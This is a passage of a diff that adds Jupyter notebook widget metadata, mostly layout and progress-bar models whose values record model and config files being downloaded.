+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "34714076cb4b479eab2c5ec6a6c7d50e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "35b84a2a8e0749268b14492abcf0af1f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3634354fd978434bbad0fd11d3e0b5fb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "37735d14a2614ffbbceaef743d2033a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_341f088c9e0f4eb2ae3f4868b4dcb835",
+            "placeholder": "",
+            "style": "IPY_MODEL_2733152e7214400abdf0e793358181b3",
+            "value": "Downloading pytorch_model.bin: 100%"
+          }
+        },
+        "379e92c07edc4ad28165c8b0926746d5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_06a9b1722db8473597c3a6cf17dafa29",
+            "max": 12,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_621ceb287f8243f5a2952613c01f3f82",
+            "value": 12
+          }
+        },
+        "37af49a1966045ee992e01f45ff5df81": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "37ceac6f039642cab04a03a8afb9f301": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3a0dacdec71447a490820baf3a405580": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3bc08cdf09a84428a51955f2aa42ea30": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0a8793f9c57f48b299703b7945163b50",
+            "placeholder": "",
+            "style": "IPY_MODEL_edb8b182bc4a413185e754aae38ee93a",
+            "value": "Downloading (…)a0d5/vae/config.json: 100%"
+          }
+        },
+        "3d17c5e7b942485d9ca1db572c06afe5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3eec3e2c3abe40efb74a05a67bf755a0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3eee3667ff024f2a875dcf57f00d7f70": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3f94af984ba84b838643b03caf8d2d4e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dba967ac191d45a0b604e93f0dc1fffe",
+            "placeholder": "",
+            "style": "IPY_MODEL_f8cc05786ad94dcca69f1fedf6d4aa4a",
+            "value": " 167M/167M [00:02<00:00, 59.2MB/s]"
+          }
+        },
+        "406fd8a742b443968d3f2fc1d3dbfef1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7d9b49d6dbfc41988b2c3c6ac40a3cae",
+            "placeholder": "",
+            "style": "IPY_MODEL_35b84a2a8e0749268b14492abcf0af1f",
+            "value": " 1.06M/1.06M [00:00<00:00, 3.64MB/s]"
+          }
+        },
+        "41c2930f406d484ca7e1e8a4c13f9b35": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_12808180b0b64ecd90839c791134b5fb",
+            "placeholder": "",
+            "style": "IPY_MODEL_115b71885ef241fb8884e8de28dfdb8c",
+            "value": " 525k/525k [00:00<00:00, 2.90MB/s]"
+          }
+        },
+        "42ad2fe1e9ee44dcb9d3b7c6af9a87a1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "43aa766628a147548714ef986c9d979a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "45e95708fe6043c68fd25d8802778998": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "45ed824c2cd746c09e61dc8a2bdd3384": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7d654e85d8794af197e72f905086b9a7",
+            "max": 167399505,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f3804bde7c974eaf90df71e9fdd3539b",
+            "value": 167399505
+          }
+        },
+        "4ac86feba0924fad8c82be426d774ce4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3a0dacdec71447a490820baf3a405580",
+            "placeholder": "",
+            "style": "IPY_MODEL_bf0a27e1f6f3454fafa2bb04a16e4ba6",
+            "value": "Fetching 12 files: 100%"
+          }
+        },
+        "4cecf6bc5f294968bcee7bf65896a31d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_28cd65b9d6f946abab83e430ab6d2017",
+            "placeholder": "",
+            "style": "IPY_MODEL_a432cb1a0bc7418bb90248973e91c452",
+            "value": "100%"
+          }
+        },
+        "4e264808109e4b52983260067550883e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "51b9487b43204e23bc11c2693f46ff72": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2c63224632c04b159f2c9453e4ca3c15",
+              "IPY_MODEL_5568e424494e406ea991d0c778924aa8",
+              "IPY_MODEL_f0d04527bbe94bfdb91353827c2ad7db"
+            ],
+            "layout": "IPY_MODEL_d1bf7fca5177409290ea45d701774d6d"
+          }
+        },
+        "534cf1c7f20a431cab02aea224148db3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_1997648c2dc946e1bdb18d2730175ea8",
+              "IPY_MODEL_2496cd9b6ee640f8a6d398b7a56f93b7",
+              "IPY_MODEL_7f0e7d1bd12b4d0eb800a3d62901c4a8"
+            ],
+            "layout": "IPY_MODEL_b75a2474c46f4f3b9d84cb981bfffac7"
+          }
+        },
+        "5568e424494e406ea991d0c778924aa8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_77755839ec0946c5b33488dd412f4d58",
+            "max": 617,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f7d7fb787f884822aa3e5cdbfab22b1d",
+            "value": 617
+          }
+        },
+        "5573d97394b144d6b8f4065bf81e6d05": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "597a8eacf00b406ab23af333aea97e3c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5a702086896f4a229e326fa05d616b35": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5bb94e6390af4e81ac0e6b3a47445996": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_37af49a1966045ee992e01f45ff5df81",
+            "max": 50,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_8120fb8694244e5dbbc448eb2a6e03dc",
+            "value": 50
+          }
+        },
+        "5e09f80f20554f419d925c5cdf55cc63": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5eba2d04c1c54016834e7dddd253a380": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "61325b5427e44d0885d95a82fc44cfd6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_37735d14a2614ffbbceaef743d2033a9",
+              "IPY_MODEL_80916d39f0bc426488b41a013196cc42",
+              "IPY_MODEL_7badbb79920e43b9a6f6317e7b746384"
+            ],
+            "layout": "IPY_MODEL_693b0b6df20e4f2caeaeb4838b37d8bb"
+          }
+        },
+        "614b85aff85e47debadea7773583b8ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3d17c5e7b942485d9ca1db572c06afe5",
+            "placeholder": "",
+            "style": "IPY_MODEL_29f58c06e0474f4e8f411aaaceb4d7f7",
+            "value": "100%"
+          }
+        },
+        "621ceb287f8243f5a2952613c01f3f82": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "62924d5b19784abcaa672d995fc15127": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
